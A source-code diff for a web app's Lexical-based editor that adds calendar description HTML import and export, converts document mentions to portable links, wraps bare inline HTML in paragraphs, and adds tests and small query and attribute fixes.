+ if (!safe) return '';
+ const doc = parseHtml(safe);
+ for (const anchor of doc.body.querySelectorAll('a[href]')) {
+ const target = parseMacroAppLink(anchor.getAttribute('href') ?? '');
+ if (!target) continue;
+ anchor.setAttribute('data-document-mention', 'true');
+ anchor.setAttribute('data-document-id', target.documentId);
+ anchor.setAttribute('data-block-name', target.blockName);
+ anchor.setAttribute('data-document-name', anchor.textContent ?? '');
+ }
+ return doc.body.innerHTML;
+}
+
+/**
+ * The description to store for the editor's current content. Document
+ * mentions become plain Macro links, every other mention keeps only its
+ * display text, and an empty editor is an empty description.
+ */
+export function exportCalendarDescription(editor: LexicalEditor): string {
+ if (editorIsEmpty(editor)) return '';
+ const doc = parseHtml(editor.read(() => $generateHtmlFromNodes(editor)));
+ convertDocumentMentionsToLinks(doc.body);
+ sanitizeDocument(doc, false);
+ return doc.body.innerHTML;
+}
diff --git a/apps/web/src/lib/core/component/LexicalMarkdown/component/core/MarkdownTextarea.tsx b/apps/web/src/lib/core/component/LexicalMarkdown/component/core/MarkdownTextarea.tsx
index 4d0c63d24b..bc8bcc505b 100644
--- a/apps/web/src/lib/core/component/LexicalMarkdown/component/core/MarkdownTextarea.tsx
+++ b/apps/web/src/lib/core/component/LexicalMarkdown/component/core/MarkdownTextarea.tsx
@@ -79,6 +79,8 @@ import { NodeAccessoryRenderer } from './NodeAccessoryRenderer';
* If the function returns true, the enter press will not propagate to the lexical editor.
* @param onEscape - A callback function that is called when the user presses Escape in the textarea. If the function
* returns true Lexical's default behavior will be prevented.
+ * @param onInitialized - Called once the editor is mounted and any initial content has been loaded, before
+ * onChange starts reporting edits.
*/
function isHistoryItem(
item: HistoryItem | ChannelWithParticipants
@@ -113,6 +115,7 @@ interface MarkdownTextareaProps {
onEscape?: (e: KeyboardEvent) => boolean;
onTab?: (e: KeyboardEvent) => boolean;
captureEditor?: (editor: LexicalEditor) => void;
+ onInitialized?: (editor: LexicalEditor) => void;
onFocusReady?: (focusFn: () => void) => void;
onFocusLeaveStart?: (e: KeyboardEvent) => void;
onFocusLeaveEnd?: (e: KeyboardEvent) => void;
@@ -175,6 +178,7 @@ export function MarkdownTextarea(props: MarkdownTextareaProps) {
props.onChange?.(markdownState());
}
+ props.onInitialized?.(editor);
didInitializeContent = true;
};
diff --git a/apps/web/src/lib/core/component/LexicalMarkdown/plugins/pluginManager.ts b/apps/web/src/lib/core/component/LexicalMarkdown/plugins/pluginManager.ts
index 7a765a6cfb..ca92468d82 100644
--- a/apps/web/src/lib/core/component/LexicalMarkdown/plugins/pluginManager.ts
+++ b/apps/web/src/lib/core/component/LexicalMarkdown/plugins/pluginManager.ts
@@ -66,9 +66,17 @@ export function createPluginManager(editor: LexicalEditor, type: EditorType) {
},
markdownShortcuts() {
+ // Editor types register a subset of the nodes, and Lexical refuses a
+ // shortcut whose node is missing, so only offer the transformers this
+ // editor can actually produce.
+ const transformers = ALL_TRANSFORMERS.filter(
+ (transformer) =>
+ !('dependencies' in transformer) ||
+ editor.hasNodes(transformer.dependencies)
+ );
cleanupFunctions.push(
markdownShortcutsPlugin({
- transformers: ALL_TRANSFORMERS,
+ transformers,
triggerOnEnterTransformers: [HR, CODE],
})(editor)
);
diff --git a/apps/web/src/lib/core/component/LexicalMarkdown/utils.test.ts b/apps/web/src/lib/core/component/LexicalMarkdown/utils.test.ts
new file mode 100644
index 0000000000..568f47060b
--- /dev/null
+++ b/apps/web/src/lib/core/component/LexicalMarkdown/utils.test.ts
@@ -0,0 +1,58 @@
+// @vitest-environment jsdom
+import { SupportedNodeTypes } from '@macro-inc/lexical-core';
+import { $getRoot, $isParagraphNode, createEditor } from 'lexical';
+import { describe, expect, it, vi } from 'vitest';
+import { setEditorStateFromHtml } from './utils';
+
+// utils.ts imports the plugin barrel, whose leaves open the storage and
+// connection-gateway sockets on import.
+vi.mock('@service-storage/websocket', () => ({
+ storageWS: { reconnectIfDisconnected: vi.fn() },
+ createWebSocketJob: vi.fn(),
+}));
+vi.mock('@service-connection/websocket', () => ({
+ ws: { addEventListener: vi.fn(), send: vi.fn() },
+ state: () => 'closed',
+ createConnectionBlockWebsocketEffect: vi.fn(),
+ createConnectionWebsocketEffect: vi.fn(),
+}));
+
+function makeEditor() {
+ return createEditor({
+ nodes: SupportedNodeTypes,
+ onError: (error) => {
+ throw error;
+ },
+ });
+}
+
+function topLevel(editor: ReturnType<typeof makeEditor>) {
+ return editor.read(() =>
+ $getRoot()
+ .getChildren()
+ .map((node) => ({
+ paragraph: $isParagraphNode(node),
+ text: node.getTextContent(),
+ }))
+ );
+}
+
+describe('setEditorStateFromHtml', () => {
+ it('loads bare text into a paragraph instead of throwing', () => {
+ const editor = makeEditor();
+ setEditorStateFromHtml(editor, 'Sync with the design team');
+ expect(topLevel(editor)).toEqual([
+ { paragraph: true, text: 'Sync with the design team' },
+ ]);
+ });
+
+ it('gathers top-level inline runs around blocks', () => {
+ const editor = makeEditor();
+ setEditorStateFromHtml(editor, 'a<br>b<p>c</p><a href="https://x.y">d</a>');
+ expect(topLevel(editor)).toEqual([
+ { paragraph: true, text: 'a\nb' },
+ { paragraph: true, text: 'c' },
+ { paragraph: true, text: 'd' },
+ ]);
+ });
+});
diff --git a/apps/web/src/lib/core/component/LexicalMarkdown/utils.ts b/apps/web/src/lib/core/component/LexicalMarkdown/utils.ts
index 82dd8d9a3e..409761db62 100644
--- a/apps/web/src/lib/core/component/LexicalMarkdown/utils.ts
+++ b/apps/web/src/lib/core/component/LexicalMarkdown/utils.ts
@@ -45,6 +45,7 @@ import {
$getRoot,
$getSelection,
$insertNodes,
+ $isDecoratorNode,
$isElementNode,
$isLineBreakNode,
$isParagraphNode,
@@ -366,6 +367,40 @@ export function setEditorStateFromMarkdown(
* Mirrors the behavior of setEditorStateFromMarkdown by updating inside
* an editor.update unless inUpdate is true.
*/
+/**
+ * The root only accepts block nodes. HTML whose top level is bare text or
+ * inline elements (a plain-text string, `a<br>b`, a lone link) would otherwise
+ * make `root.append` throw and the whole import be discarded, so runs of
+ * inline nodes are gathered into paragraphs first.
+ */
+function $wrapInlineTopLevelNodes(nodes: LexicalNode[]): LexicalNode[] {
+ const wrapped: LexicalNode[] = [];
+ let paragraph: ParagraphNode | undefined;
+ for (const node of nodes) {
+ const isBlock =
+ ($isElementNode(node) || $isDecoratorNode(node)) && !node.isInline();
+ if (isBlock) {
+ paragraph = undefined;
+ wrapped.push(node);
+ continue;
+ }
+ if (!paragraph) {
+ paragraph = $createParagraphNode();
+ wrapped.push(paragraph);
+ }
+ paragraph.append(node);
+ }
+ return wrapped;
+}
+
+function $replaceRootFromHtml(editor: LexicalEditor, html: string) {
+ const dom = new DOMParser().parseFromString(html, 'text/html');
+ const nodes = $wrapInlineTopLevelNodes($generateNodesFromDOM(editor, dom));
+ const root = $getRoot();
+ root.clear();
+ root.append(...nodes);
+}
+
export function setEditorStateFromHtml(
editor: LexicalEditor,
html: string,
@@ -373,22 +408,12 @@ export function setEditorStateFromHtml(
) {
if (!inUpdate) {
editor.update(() => {
- const parser = new DOMParser();
- const dom = parser.parseFromString(html, 'text/html');
- const nodes = $generateNodesFromDOM(editor, dom);
- const root = $getRoot();
- root.clear();
- root.append(...nodes);
+ $replaceRootFromHtml(editor, html);
});
editor.read(() => {});
return editor.getEditorState();
} else {
- const parser = new DOMParser();
- const dom = parser.parseFromString(html, 'text/html');
- const nodes = $generateNodesFromDOM(editor, dom);
- const root = $getRoot();
- root.clear();
- root.append(...nodes);
+ $replaceRootFromHtml(editor, html);
}
}
diff --git a/apps/web/src/lib/core/component/LexicalMarkdown/utils/convertDocumentMentionsToLinks.test.ts b/apps/web/src/lib/core/component/LexicalMarkdown/utils/convertDocumentMentionsToLinks.test.ts
new file mode 100644
index 0000000000..dd7e973032
--- /dev/null
+++ b/apps/web/src/lib/core/component/LexicalMarkdown/utils/convertDocumentMentionsToLinks.test.ts
@@ -0,0 +1,33 @@
+// @vitest-environment jsdom
+import { describe, expect, it } from 'vitest';
+import { convertDocumentMentionsToLinks } from './convertDocumentMentionsToLinks';
+
+function convert(html: string) {
+ const body = new DOMParser().parseFromString(html, 'text/html').body;
+ const mentions = convertDocumentMentionsToLinks(body);
+ return { mentions, link: body.querySelector('a') };
+}
+
+const MENTION =
+ '<span data-document-mention="true" data-document-id="doc-1" data-document-name="Plan" data-block-name="md"%s>Plan</span>';
+
+describe('convertDocumentMentionsToLinks', () => {
+ it('links the mention and preserves an explicit collapsed flag either way', () => {
+ const expanded = convert(MENTION.replace('%s', ' data-collapsed="false"'));
+ expect(expanded.mentions[0]?.collapsed).toBe(false);
+ expect(expanded.link?.getAttribute('data-collapsed')).toBe('false');
+
+ const collapsed = convert(MENTION.replace('%s', ' data-collapsed="true"'));
+ expect(collapsed.mentions[0]?.collapsed).toBe(true);
+ expect(collapsed.link?.getAttribute('data-collapsed')).toBe('true');
+ });
+
+ it('leaves the flag off when the mention never carried one', () => {
+ const { mentions, link } = convert(MENTION.replace('%s', ''));
+ expect(mentions[0]?.collapsed).toBeUndefined();
+ expect(link?.hasAttribute('data-collapsed')).toBe(false);
+ expect(link?.getAttribute('href')).toBe(
+ `${window.location.origin}/app/md/doc-1`
+ );
+ });
+});
diff --git a/apps/web/src/lib/core/component/LexicalMarkdown/utils/convertDocumentMentionsToLinks.ts b/apps/web/src/lib/core/component/LexicalMarkdown/utils/convertDocumentMentionsToLinks.ts
new file mode 100644
index 0000000000..9fd2ffd12d
--- /dev/null
+++ b/apps/web/src/lib/core/component/LexicalMarkdown/utils/convertDocumentMentionsToLinks.ts
@@ -0,0 +1,60 @@
+import type { DocumentMentionInfo } from '@macro-inc/lexical-core';
+
+/** Replace Macro document-mention elements with portable HTML links. */
+export function convertDocumentMentionsToLinks(
+ root: ParentNode
+): DocumentMentionInfo[] {
+ const mentionElements = root.querySelectorAll<HTMLElement>(
+ '[data-document-mention="true"]'
+ );
+ const mentions: DocumentMentionInfo[] = [];
+
+ mentionElements.forEach((element) => {
+ const collapsed = element.getAttribute('data-collapsed');
+ const mention: DocumentMentionInfo = {
+ documentId: element.getAttribute('data-document-id') || '',
+ documentName: element.getAttribute('data-document-name') || '',
+ blockName: element.getAttribute('data-block-name') || '',
+ blockParams: element.getAttribute('data-block-params')
+ ? JSON.parse(element.getAttribute('data-block-params') || '{}')
+ : undefined,
+ mentionUuid: element.getAttribute('data-mention-uuid') || undefined,
+ collapsed: collapsed === null ? undefined : collapsed === 'true',
+ channelType: element.getAttribute('data-channel-type') || undefined,
+ };
+ if (!mention.documentId || !mention.documentName || !mention.blockName) {
+ return;
+ }
+
+ const link = document.createElement('a');
+ link.href = `${window.location.origin}/app/${mention.blockName}/${mention.documentId}`;
+ link.textContent = mention.documentName;
+
+ // Preserve mention data attributes so importing this HTML into Macro can
+ // recreate the richer Lexical node.
+ link.setAttribute('data-document-mention', 'true');
+ link.setAttribute('data-document-id', mention.documentId);
+ link.setAttribute('data-document-name', mention.documentName);
+ link.setAttribute('data-block-name', mention.blockName);
+ if (mention.blockParams) {
+ link.setAttribute(
+ 'data-block-params',
+ JSON.stringify(mention.blockParams)
+ );
+ }
+ if (mention.mentionUuid) {
+ link.setAttribute('data-mention-uuid', mention.mentionUuid);
+ }
+ if (mention.collapsed !== undefined) {
+ link.setAttribute('data-collapsed', String(mention.collapsed));
+ }
+ if (mention.channelType) {
+ link.setAttribute('data-channel-type', mention.channelType);
+ }
+
+ element.replaceWith(link);
+ mentions.push(mention);
+ });
+
+ return mentions;
+}
diff --git a/apps/web/src/lib/queries/storage/system-skills.test.tsx b/apps/web/src/lib/queries/storage/system-skills.test.tsx
new file mode 100644
index 0000000000..bc9f29ee3b
--- /dev/null
+++ b/apps/web/src/lib/queries/storage/system-skills.test.tsx
@@ -0,0 +1,92 @@
+/**
+ * @vitest-environment jsdom
+ */
+
+import { storageServiceClient } from '@service-storage/client';
+import type { GetSystemSkillsHandler200 } from '@service-storage/generated/schemas/getSystemSkillsHandler200';
+import { QueryClient, QueryClientProvider } from '@tanstack/solid-query';
+import { ok, type Result } from 'neverthrow';
+import { Suspense } from 'solid-js';
+import { render } from 'solid-js/web';
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+
+vi.mock('@service-storage/client', () => ({
+ storageServiceClient: {
+ getSystemSkills: vi.fn(),
+ },
+}));
+
+import { useSystemSkillsQuery } from './system-skills';
+
+type SystemSkillsResult = Result<GetSystemSkillsHandler200, unknown>;
+
+let testQueryClient: QueryClient;
+let dispose: (() => void) | undefined;
+
+function renderProbe() {
+ let hook!: ReturnType<typeof useSystemSkillsQuery>;
+ dispose = render(
+ () => (
+ <QueryClientProvider client={testQueryClient}>
+ <Suspense fallback={<span data-testid="suspended" />}>
+ {(() => {
+ hook = useSystemSkillsQuery();
+ return <span data-testid="probe">{hook.skills().length}</span>;
+ })()}
+ </Suspense>
+ </QueryClientProvider>
+ ),
+ document.body
+ );
+ return () => hook;
+}
+
+beforeEach(() => {
+ vi.clearAllMocks();
+ testQueryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+});
+
+afterEach(() => {
+ dispose?.();
+ dispose = undefined;
+ testQueryClient.clear();
+ document.body.innerHTML = '';
+});
+
+describe('useSystemSkillsQuery', () => {
+ it('does not suspend the caller while the skill list is in flight', () => {
+ vi.mocked(storageServiceClient.getSystemSkills).mockReturnValue(
+ new Promise<SystemSkillsResult>(() => {}) as ReturnType<
+ typeof storageServiceClient.getSystemSkills
+ >
+ );
+
+ const hook = renderProbe();
+
+ expect(document.querySelector('[data-testid="suspended"]')).toBeNull();
+ expect(document.querySelector('[data-testid="probe"]')?.textContent).toBe(
+ '0'
+ );
+ expect(hook().getSystemSkill('system-skill-1')).toBeUndefined();
+ });
+
+ it('classifies ids once the list lands', async () => {
+ let settle!: (value: SystemSkillsResult) => void;
+ vi.mocked(storageServiceClient.getSystemSkills).mockReturnValue(
+ new Promise<SystemSkillsResult>((resolve) => {
+ settle = resolve;
+ }) as ReturnType<typeof storageServiceClient.getSystemSkills>
+ );
+
+ const hook = renderProbe();
+ settle(ok({ skills: [{ id: 'system-skill-1', name: 'Summarize' }] }));
+
+ await vi.waitFor(() => {
+ expect(hook().isSystemSkillId('system-skill-1')).toBe(true);
+ });
+ expect(hook().getSystemSkill('system-skill-1')?.name).toBe('Summarize');
+ expect(hook().isSystemSkillId('some-document')).toBe(false);
+ });
+});
diff --git a/apps/web/src/lib/queries/storage/system-skills.ts b/apps/web/src/lib/queries/storage/system-skills.ts
index 9551b2977d..1361a48091 100644
--- a/apps/web/src/lib/queries/storage/system-skills.ts
+++ b/apps/web/src/lib/queries/storage/system-skills.ts
@@ -27,7 +27,9 @@ export function useSystemSkillsQuery() {
refetchOnWindowFocus: false,
}));
- const skills = createMemo<SystemSkillSummary[]>(() => query.data ?? []);
+ const skills = createMemo<SystemSkillSummary[]>(() =>
+ query.isSuccess ? (query.data ?? []) : []
+ );
const byId = createMemo(
() => new Map(skills().map((skill) => [skill.id, skill]))
);
diff --git a/packages/lexical-core/node-list.ts b/packages/lexical-core/node-list.ts
index b8288b993f..b76654c798 100644
--- a/packages/lexical-core/node-list.ts
+++ b/packages/lexical-core/node-list.ts
@@ -55,7 +55,8 @@ export type EditorType =
| 'markdown'
| 'markdown-sync'
| 'chat'
- | 'title';
+ | 'title'
+ | 'calendar';
// Valid nodes must be enumerated at Editor construction. We can set up plugins
// lazily, but the node list must be specified fully upfront.
@@ -137,5 +138,8 @@ export const RegisteredNodesByType: { [K in EditorType]: ValidNode[] } = {
markdown: [...SupportedNodeTypes],
'markdown-sync': [...SupportedNodeTypes],
chat: exclude([ImageNode, VideoNode]),
+ // Calendar descriptions are provider-supplied HTML from anyone who can write
+ // the event, so the editor must not carry a node that renders raw markup.
+ calendar: exclude([HtmlRenderNode, ImageNode, VideoNode]),
title: [ParagraphNode, TextNode, InlineSearchNode],
} as const;
diff --git a/packages/lexical-core/nodes/DocumentMentionNode.ts b/packages/lexical-core/nodes/DocumentMentionNode.ts
index 19bf3598d0..c84d1188a9 100644
--- a/packages/lexical-core/nodes/DocumentMentionNode.ts
+++ b/packages/lexical-core/nodes/DocumentMentionNode.ts
@@ -205,7 +205,7 @@ export class DocumentMentionNode extends DecoratorNode<
'data-mention-uuid': this.__mentionUuid || '',
'data-channel-type': this.__channelType || '',
'data-created-at': this.__createdAt?.toString() || '',
- DOMConversionMap: this.__collapsed.toString(),
+ 'data-collapsed': this.__collapsed.toString(),
};
}